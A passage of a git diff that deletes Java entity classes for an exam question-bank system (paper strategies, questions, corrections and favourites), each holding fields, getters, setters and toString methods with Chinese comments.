void setDifficulty(Integer difficulty) - { - this.difficulty = difficulty; - } - - public Integer getDifficulty() - { - return difficulty; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setCount(Long count) - { - this.count = count; - } - - public Long getCount() - { - return count; - } - public void setCreatorId(String creatorId) - { - this.creatorId = creatorId; - } - - public String getCreatorId() - { - return creatorId; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("examPaperStrategyId", getExamPaperStrategyId()) - .append("questionType", getQuestionType()) - .append("difficulty", getDifficulty()) - .append("score", getScore()) - .append("createTime", getCreateTime()) - .append("count", getCount()) - .append("creatorId", getCreatorId()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyListPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyListPlus.java deleted file mode 100644 index 25b08e9..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyListPlus.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 策略子对象 exam_paper_strategy_list - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamPaperStrategyListPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** 主键id */ - private Long id; - /** 主表id */ - @Excel(name = "主表id") - private Long examPaperStrategyId; - /** 题目类型类型 */ - @Excel(name = "题目类型类型") - private Integer questionType; - /** 默认难度系数 */ - @Excel(name = "默认难度系数") - private Integer difficulty; - /** 每一题分数 */ - @Excel(name = "每一题分数") - private Long score; - /** 创建时间 */ - private Date createTime; - /** 题目数 */ - @Excel(name = "题目数") - private Long count; - /** 创建人 */ - @Excel(name = "创建人") - private String creatorId; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setExamPaperStrategyId(Long examPaperStrategyId) - { - this.examPaperStrategyId = examPaperStrategyId; - } - - public Long getExamPaperStrategyId() - { - return examPaperStrategyId; - } - public void setQuestionType(Integer questionType) - { - this.questionType = questionType; - } - - public Integer getQuestionType() - { - return questionType; - } - public void setDifficulty(Integer difficulty) - { - this.difficulty = difficulty; - } - - public Integer getDifficulty() - { - return difficulty; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setCount(Long count) - { - this.count = count; - } - - public Long getCount() - { - return count; - } - public void setCreatorId(String creatorId) - { - this.creatorId = creatorId; - } - - public String getCreatorId() - { - return creatorId; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("examPaperStrategyId", getExamPaperStrategyId()) - .append("questionType", getQuestionType()) - .append("difficulty", getDifficulty()) - .append("score", getScore()) - .append("createTime", getCreateTime()) - .append("count", getCount()) - .append("creatorId", getCreatorId()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyPlus.java deleted file mode 100644 index cf18244..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamPaperStrategyPlus.java +++ /dev/null @@ -1,160 +0,0 @@ -package com.luqj.exam.domain; - -import java.util.List; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -import com.baomidou.mybatisplus.annotation.TableName; -/** - * 试卷模板策略对象 exam_paper_strategy - * - * @author ruoyi - * @date 2021-07-29 - */ -@TableName(value = "exam_paper_strategy") -public class ExamPaperStrategyPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** 主键 */ - private Long id; - /** 策略名称 */ - @Excel(name = "策略名称") - private String name; - /** 策略代码 */ - @Excel(name = "策略代码") - private String code; - /** 试卷类型 */ - @Excel(name = "试卷类型") - private Integer type; - /** 难度系数 */ - @Excel(name = "难度系数") - private Integer difficulty; - /** 总分数 */ - @Excel(name = "总分数") - private Long score; - /** 创建时间 */ - private Date createTime; - /** 创建人 */ - @Excel(name = "创建人") - private String creatorId; - /** $column.columnComment */ - @Excel(name = "创建人") - private Long categoryId; - /** 策略子信息 */ - private List examPaperStrategyListList; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setName(String name) - { - this.name = name; - } - - public String getName() - { - return name; - } - public void setCode(String code) - { - this.code = code; - } - - public String getCode() - { - return code; - } - public void setType(Integer type) - { - this.type = type; - } - - public Integer getType() - { - return type; - } - public void setDifficulty(Integer difficulty) - { - this.difficulty = difficulty; - } - - public Integer getDifficulty() - { - return difficulty; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setCreatorId(String creatorId) - { - this.creatorId = creatorId; - } - - public String getCreatorId() - { - return creatorId; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - - public List getExamPaperStrategyListList() - { - return examPaperStrategyListList; - } - - public void setExamPaperStrategyListList(List examPaperStrategyListList) - { - this.examPaperStrategyListList = examPaperStrategyListList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("name", getName()) - .append("code", getCode()) - .append("type", getType()) - .append("difficulty", getDifficulty()) - .append("score", getScore()) - .append("createTime", getCreateTime()) - .append("creatorId", getCreatorId()) - .append("categoryId", getCategoryId()) - .append("examPaperStrategyListList", getExamPaperStrategyListList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestion.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestion.java deleted file mode 100644 index 1d56b1a..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestion.java +++ /dev/null @@ -1,431 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 题库对象 exam_question - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamQuestion extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** ID */ - private Long id; - - /** 题目编号 */ - @Excel(name = "题目编号") - private String no; - - /** 题干 */ - @Excel(name = "题干") - private String question; - - /** 选项A */ - @Excel(name = "选项A") - private String optionA; - - /** 选项B */ - @Excel(name = "选项B") - private String optionB; - - /** 选项C */ - @Excel(name = "选项C") - private String optionC; - - /** 选项D */ - @Excel(name = "选项D") - private String optionD; - - /** 选项E */ - @Excel(name = "选项E") - private String optionE; - - /** 选项F */ - @Excel(name = "选项F") - private String optionF; - - /** 选项F */ - @Excel(name = "选项F") - private String optionG; - - /** 默认分数(可空) */ - @Excel(name = "默认分数(可空)") - private Long score; - - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - - /** 考试要点id */ - @Excel(name = "考试要点id") - private Long pointId; - - /** 答案(单选、判断详见AnswerEnum) */ - @Excel(name = "答案(单选、判断详见AnswerEnum)") - private String answer; - - /** $column.columnComment */ - @Excel(name = "答案(单选、判断详见AnswerEnum)") - private String analysisUrl; - - /** 解析 */ - @Excel(name = "解析") - private String analysis; - - /** 出题省份id */ - @Excel(name = "出题省份id") - private Long provinceId; - - /** 出题城市id */ - @Excel(name = "出题城市id") - private Long cityId; - - /** 出题学校id */ - @Excel(name = "出题学校id") - private Long schoolId; - - /** $column.columnComment */ - @Excel(name = "出题学校id") - private Long categoryId; - - /** 考试课程id */ - @Excel(name = "考试课程id") - private Long courseId; - - /** 题目类型(详见QuestionTypeEnum) */ - @Excel(name = "题目类型(详见QuestionTypeEnum)") - private Long type; - - /** 真题id */ - @Excel(name = "真题id") - private Long examId; - - /** 试卷来源(1练习题,2真题,3模拟题) */ - @Excel(name = "试卷来源(1练习题,2真题,3模拟题)") - private String source; - - /** 创建人id */ - @Excel(name = "创建人id") - private Long creatorId; - - /** 审核人id */ - @Excel(name = "审核人id") - private Long auditorId; - - /** 修改人id */ - @Excel(name = "修改人id") - private Long updaterId; - - /** 状态(0初始化,1审核通过,2驳回) */ - @Excel(name = "状态(0初始化,1审核通过,2驳回)") - private Integer status; - - /** 是否删除 */ - @Excel(name = "是否删除") - private Integer isDelete; - - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setNo(String no) - { - this.no = no; - } - - public String getNo() - { - return no; - } - public void setQuestion(String question) - { - this.question = question; - } - - public String getQuestion() - { - return question; - } - public void setOptionA(String optionA) - { - this.optionA = optionA; - } - - public String getOptionA() - { - return optionA; - } - public void setOptionB(String optionB) - { - this.optionB = optionB; - } - - public String getOptionB() - { - return optionB; - } - public void setOptionC(String optionC) - { - this.optionC = optionC; - } - - public String getOptionC() - { - return optionC; - } - public void setOptionD(String optionD) - { - this.optionD = optionD; - } - - public String getOptionD() - { - return optionD; - } - public void setOptionE(String optionE) - { - this.optionE = optionE; - } - - public String getOptionE() - { - return optionE; - } - public void setOptionF(String optionF) - { - this.optionF = optionF; - } - - public String getOptionF() - { - return optionF; - } - public void setOptionG(String optionG) - { - this.optionG = optionG; - } - - public String getOptionG() - { - return optionG; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setPointId(Long pointId) - { - this.pointId = pointId; - } - - public Long getPointId() - { - return pointId; - } - public void setAnswer(String answer) - { - this.answer = answer; - } - - public String getAnswer() - { - return answer; - } - public void setAnalysisUrl(String analysisUrl) - { - this.analysisUrl = analysisUrl; - } - - public String getAnalysisUrl() - { - return analysisUrl; - } - public void setAnalysis(String analysis) - { - this.analysis = analysis; - } - - public String getAnalysis() - { - return analysis; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setType(Long type) - { - this.type = type; - } - - public Long getType() - { - return type; - } - public void setExamId(Long examId) - { - this.examId = examId; - } - - public Long getExamId() - { - return examId; - } - public void setSource(String source) - { - this.source = source; - } - - public String getSource() - { - return source; - } - public void setCreatorId(Long creatorId) - { - this.creatorId = creatorId; - } - - public Long getCreatorId() - { - return creatorId; - } - public void setAuditorId(Long auditorId) - { - this.auditorId = auditorId; - } - - public Long getAuditorId() - { - return auditorId; - } - public void setUpdaterId(Long updaterId) - { - this.updaterId = updaterId; - } - - public Long getUpdaterId() - { - return updaterId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setIsDelete(Integer isDelete) - { - this.isDelete = isDelete; - } - - public Integer getIsDelete() - { - return isDelete; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("no", getNo()) - .append("question", getQuestion()) - .append("optionA", getOptionA()) - .append("optionB", getOptionB()) - .append("optionC", getOptionC()) - .append("optionD", getOptionD()) - .append("optionE", getOptionE()) - .append("optionF", getOptionF()) - .append("optionG", getOptionG()) - .append("score", getScore()) - .append("difficulty", getDifficulty()) - .append("pointId", getPointId()) - .append("answer", getAnswer()) - .append("analysisUrl", getAnalysisUrl()) - .append("analysis", getAnalysis()) - .append("provinceId", getProvinceId()) - .append("cityId", getCityId()) - .append("schoolId", getSchoolId()) - .append("categoryId", getCategoryId()) - .append("courseId", getCourseId()) - .append("type", getType()) - .append("examId", getExamId()) - .append("source", getSource()) - .append("createTime", getCreateTime()) - .append("creatorId", getCreatorId()) - .append("auditorId", getAuditorId()) - .append("updateTime", getUpdateTime()) - .append("updaterId", getUpdaterId()) - .append("status", getStatus()) - .append("isDelete", getIsDelete()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionCorrection.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionCorrection.java deleted file mode 100644 index 17ed9d4..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionCorrection.java +++ /dev/null @@ -1,139 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 题目纠错对象 exam_question_correction - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamQuestionCorrection extends BaseEntity -{ - private static final long serialVersionUID = 1L; - private String questionName; - private String studentName; - /** 主键 */ - private Long id; - - /** 题目id */ - @Excel(name = "题目id") - private Long questionId; - - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - - /** 原答案 */ - @Excel(name = "原答案") - private String oldAnswer; - - /** 纠错答案 */ - @Excel(name = "纠错答案") - private String adviceAnswer; - - /** 纠错备注解析 */ - @Excel(name = "纠错备注解析") - private String adviceAnalysis; - - /** 错误类型列表 */ - @Excel(name = "错误类型列表") - private String errorTypeList; - - public void setId(Long id) - { - this.id = id; - } - - public String getQuestionName() { - return questionName; - } - - public void setQuestionName(String questionName) { - this.questionName = questionName; - } - - public String getStudentName() { - return studentName; - } - - public void setStudentName(String studentName) { - this.studentName = studentName; - } - - public Long getId() - { - return id; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setOldAnswer(String oldAnswer) - { - this.oldAnswer = oldAnswer; - } - - public String getOldAnswer() - { - return oldAnswer; - } - public void setAdviceAnswer(String adviceAnswer) - { - this.adviceAnswer = adviceAnswer; - } - - public String getAdviceAnswer() - { - return adviceAnswer; - } - public void setAdviceAnalysis(String adviceAnalysis) - { - this.adviceAnalysis = adviceAnalysis; - } - - public String getAdviceAnalysis() - { - return adviceAnalysis; - } - public void setErrorTypeList(String errorTypeList) - { - this.errorTypeList = errorTypeList; - } - - public String getErrorTypeList() - { - return errorTypeList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("questionId", getQuestionId()) - .append("studentId", getStudentId()) - .append("oldAnswer", getOldAnswer()) - .append("adviceAnswer", getAdviceAnswer()) - .append("adviceAnalysis", getAdviceAnalysis()) - .append("createTime", getCreateTime()) - .append("errorTypeList", getErrorTypeList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionCorrectionPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionCorrectionPlus.java deleted file mode 100644 index 7b98afa..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionCorrectionPlus.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 题目纠错对象 exam_question_correction - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamQuestionCorrectionPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** 主键 */ - private Long id; - /** 题目id */ - @Excel(name = "题目id") - private Long questionId; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - /** 原答案 */ - @Excel(name = "原答案") - private String oldAnswer; - /** 纠错答案 */ - @Excel(name = "纠错答案") - private String adviceAnswer; - /** 纠错备注解析 */ - @Excel(name = "纠错备注解析") - private String adviceAnalysis; - /** $column.columnComment */ - private Date createTime; - /** 错误类型列表 */ - @Excel(name = "错误类型列表") - private String errorTypeList; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setOldAnswer(String oldAnswer) - { - this.oldAnswer = oldAnswer; - } - - public String getOldAnswer() - { - return oldAnswer; - } - public void setAdviceAnswer(String adviceAnswer) - { - this.adviceAnswer = adviceAnswer; - } - - public String getAdviceAnswer() - { - return adviceAnswer; - } - public void setAdviceAnalysis(String adviceAnalysis) - { - this.adviceAnalysis = adviceAnalysis; - } - - public String getAdviceAnalysis() - { - return adviceAnalysis; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setErrorTypeList(String errorTypeList) - { - this.errorTypeList = errorTypeList; - } - - public String getErrorTypeList() - { - return errorTypeList; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("questionId", getQuestionId()) - .append("studentId", getStudentId()) - .append("oldAnswer", getOldAnswer()) - .append("adviceAnswer", getAdviceAnswer()) - .append("adviceAnalysis", getAdviceAnalysis()) - .append("createTime", getCreateTime()) - .append("errorTypeList", getErrorTypeList()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionFavorite.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionFavorite.java deleted file mode 100644 index 1c3ce38..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionFavorite.java +++ /dev/null @@ -1,147 +0,0 @@ -package com.luqj.exam.domain; - -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -/** - * 题目收藏对象 exam_question_favorite - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamQuestionFavorite extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 主键 */ - private Long id; - - /** 题目id */ - @Excel(name = "题目id") - private Long questionId; - private String questionName; - private String studentName; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - - /** 类目id */ - @Excel(name = "类目id") - private Long categoryId; - - /** 类目名称 */ - @Excel(name = "类目名称") - private String categoryName; - - /** 题目来源 */ - @Excel(name = "题目来源") - private Integer source; - - /** 学校id */ - @Excel(name = "学校id") - private Long schoolId; - private String schoolName; - public void setId(Long id) - { - this.id = id; - } - - public String getQuestionName() { - return questionName; - } - - public void setQuestionName(String questionName) { - this.questionName = questionName; - } - - public String getStudentName() { - return studentName; - } - - public void setStudentName(String studentName) { - this.studentName = studentName; - } - - public String getSchoolName() { - return schoolName; - } - - public void setSchoolName(String schoolName) { - this.schoolName = schoolName; - } - - public Long getId() - { - return id; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - public void setCategoryName(String categoryName) - { - this.categoryName = categoryName; - } - - public String getCategoryName() - { - return categoryName; - } - public void setSource(Integer source) - { - this.source = source; - } - - public Integer getSource() - { - return source; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("questionId", getQuestionId()) - .append("studentId", getStudentId()) - .append("categoryId", getCategoryId()) - .append("categoryName", getCategoryName()) - .append("createTime", getCreateTime()) - .append("source", getSource()) - .append("schoolId", getSchoolId()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionFavoritePlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionFavoritePlus.java deleted file mode 100644 index e838e4e..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionFavoritePlus.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 题目收藏对象 exam_question_favorite - * - * @author ruoyi - * @date 2021-07-23 - */ -public class ExamQuestionFavoritePlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** 主键 */ - private Long id; - /** 题目id */ - @Excel(name = "题目id") - private Long questionId; - /** 学生id */ - @Excel(name = "学生id") - private Long studentId; - /** 类目id */ - @Excel(name = "类目id") - private Long categoryId; - /** 类目名称 */ - @Excel(name = "类目名称") - private String categoryName; - /** 创建时间 */ - private Date createTime; - /** 题目来源 */ - @Excel(name = "题目来源") - private Integer source; - /** 学校id */ - @Excel(name = "学校id") - private Long schoolId; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setQuestionId(Long questionId) - { - this.questionId = questionId; - } - - public Long getQuestionId() - { - return questionId; - } - public void setStudentId(Long studentId) - { - this.studentId = studentId; - } - - public Long getStudentId() - { - return studentId; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - public void setCategoryName(String categoryName) - { - this.categoryName = categoryName; - } - - public String getCategoryName() - { - return categoryName; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setSource(Integer source) - { - this.source = source; - } - - public Integer getSource() - { - return source; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("id", getId()) - .append("questionId", getQuestionId()) - .append("studentId", getStudentId()) - .append("categoryId", getCategoryId()) - .append("categoryName", getCategoryName()) - .append("createTime", getCreateTime()) - .append("source", getSource()) - .append("schoolId", getSchoolId()) - .toString(); - } -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionPlus.java b/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionPlus.java deleted file mode 100644 index 5c6a853..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/domain/ExamQuestionPlus.java +++ /dev/null @@ -1,429 +0,0 @@ -package com.luqj.exam.domain; - -import com.baomidou.mybatisplus.annotation.IdType; -import com.baomidou.mybatisplus.annotation.TableId; -import com.baomidou.mybatisplus.annotation.TableName; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.core.domain.BaseEntity; -import java.io.Serializable; -import java.util.Date; -/** - * 题库对象 exam_question - * - * @author ruoyi - * @date 2021-07-23 - */ -@TableName(value = "exam_question") -public class ExamQuestionPlus implements Serializable -{ - private static final long serialVersionUID = 1L; - @TableId(type = IdType.AUTO) - /** ID */ - private Long id; - /** 题目编号 */ - @Excel(name = "题目编号") - private String no; - /** 题干 */ - @Excel(name = "题干") - private String question; - /** 选项A */ - @Excel(name = "选项A") - private String optionA; - /** 选项B */ - @Excel(name = "选项B") - private String optionB; - /** 选项C */ - @Excel(name = "选项C") - private String optionC; - /** 选项D */ - @Excel(name = "选项D") - private String optionD; - /** 选项E */ - @Excel(name = "选项E") - private String optionE; - /** 选项F */ - @Excel(name = "选项F") - private String optionF; - /** 选项F */ - @Excel(name = "选项F") - private String optionG; - /** 默认分数(可空) */ - @Excel(name = "默认分数(可空)") - private Long score; - /** 难度系数 */ - @Excel(name = "难度系数") - private Long difficulty; - /** 考试要点id */ - @Excel(name = "考试要点id") - private Long pointId; - /** 答案(单选、判断详见AnswerEnum) */ - @Excel(name = "答案(单选、判断详见AnswerEnum)") - private String answer; - /** $column.columnComment */ - @Excel(name = "答案(单选、判断详见AnswerEnum)") - private String analysisUrl; - /** 解析 */ - @Excel(name = "解析") - private String analysis; - /** 出题省份id */ - @Excel(name = "出题省份id") - private Long provinceId; - /** 出题城市id */ - @Excel(name = "出题城市id") - private Long cityId; - /** 出题学校id */ - @Excel(name = "出题学校id") - private Long schoolId; - /** $column.columnComment */ - @Excel(name = "出题学校id") - private Long categoryId; - /** 考试课程id */ - @Excel(name = "考试课程id") - private Long courseId; - /** 题目类型(详见QuestionTypeEnum) */ - @Excel(name = "题目类型(详见QuestionTypeEnum)") - private Long type; - /** 真题id */ - @Excel(name = "真题id") - private Long examId; - /** 试卷来源(1练习题,2真题,3模拟题) */ - @Excel(name = "试卷来源(1练习题,2真题,3模拟题)") - private String source; - /** 创建时间 */ - private Date createTime; - /** 创建人id */ - @Excel(name = "创建人id") - private Long creatorId; - /** 审核人id */ - @Excel(name = "审核人id") - private Long auditorId; - /** 修改时间 */ - private Date updateTime; - /** 修改人id */ - @Excel(name = "修改人id") - private Long updaterId; - /** 状态(0初始化,1审核通过,2驳回) */ - @Excel(name = "状态(0初始化,1审核通过,2驳回)") - private Integer status; - /** 是否删除 */ - @Excel(name = "是否删除") - private Integer isDelete; - public void setId(Long id) - { - this.id = id; - } - - public Long getId() - { - return id; - } - public void setNo(String no) - { - this.no = no; - } - - public String getNo() - { - return no; - } - public void setQuestion(String question) - { - this.question = question; - } - - public String getQuestion() - { - return question; - } - public void setOptionA(String optionA) - { - this.optionA = optionA; - } - - public String getOptionA() - { - return optionA; - } - public void setOptionB(String optionB) - { - this.optionB = optionB; - } - - public String getOptionB() - { - return optionB; - } - public void setOptionC(String optionC) - { - this.optionC = optionC; - } - - public String getOptionC() - { - return optionC; - } - public void setOptionD(String optionD) - { - this.optionD = optionD; - } - - public String getOptionD() - { - return optionD; - } - public void setOptionE(String optionE) - { - this.optionE = optionE; - } - - public String getOptionE() - { - return optionE; - } - public void setOptionF(String optionF) - { - this.optionF = optionF; - } - - public String getOptionF() - { - return optionF; - } - public void setOptionG(String optionG) - { - this.optionG = optionG; - } - - public String getOptionG() - { - return optionG; - } - public void setScore(Long score) - { - this.score = score; - } - - public Long getScore() - { - return score; - } - public void setDifficulty(Long difficulty) - { - this.difficulty = difficulty; - } - - public Long getDifficulty() - { - return difficulty; - } - public void setPointId(Long pointId) - { - this.pointId = pointId; - } - - public Long getPointId() - { - return pointId; - } - public void setAnswer(String answer) - { - this.answer = answer; - } - - public String getAnswer() - { - return answer; - } - public void setAnalysisUrl(String analysisUrl) - { - this.analysisUrl = analysisUrl; - } - - public String getAnalysisUrl() - { - return analysisUrl; - } - public void setAnalysis(String analysis) - { - this.analysis = analysis; - } - - public String getAnalysis() - { - return analysis; - } - public void setProvinceId(Long provinceId) - { - this.provinceId = provinceId; - } - - public Long getProvinceId() - { - return provinceId; - } - public void setCityId(Long cityId) - { - this.cityId = cityId; - } - - public Long getCityId() - { - return cityId; - } - public void setSchoolId(Long schoolId) - { - this.schoolId = schoolId; - } - - public Long getSchoolId() - { - return schoolId; - } - public void setCategoryId(Long categoryId) - { - this.categoryId = categoryId; - } - - public Long getCategoryId() - { - return categoryId; - } - public void setCourseId(Long courseId) - { - this.courseId = courseId; - } - - public Long getCourseId() - { - return courseId; - } - public void setType(Long type) - { - this.type = type; - } - - public Long getType() - { - return type; - } - public void setExamId(Long examId) - { - this.examId = examId; - } - - public Long getExamId() - { - return examId; - } - public void setSource(String source) - { - this.source = source; - } - - public String getSource() - { - return source; - } - public void setCreateTime(Date createTime) - { - this.createTime = createTime; - } - - public Date getCreateTime() - { - return createTime; - } - public void setCreatorId(Long creatorId) - { - this.creatorId = creatorId; - } - - public Long getCreatorId() - { - return creatorId; - } - public void setAuditorId(Long auditorId) - { - this.auditorId = auditorId; - } - - public Long getAuditorId() - { - return auditorId; - } - public void setUpdateTime(Date updateTime) - { - this.updateTime = updateTime; - } - - public Date getUpdateTime() - { - return updateTime; - } - public void setUpdaterId(Long updaterId) - { - this.updaterId = updaterId; - } - - public Long getUpdaterId() - { - return updaterId; - } - public void setStatus(Integer status) - { - this.status = status; - } - - public Integer getStatus() - { - return status; - } - public void setIsDelete(Integer isDelete) - { - this.isDelete = isDelete; - } - - public Integer getIsDelete() - { - return isDelete; - } - - 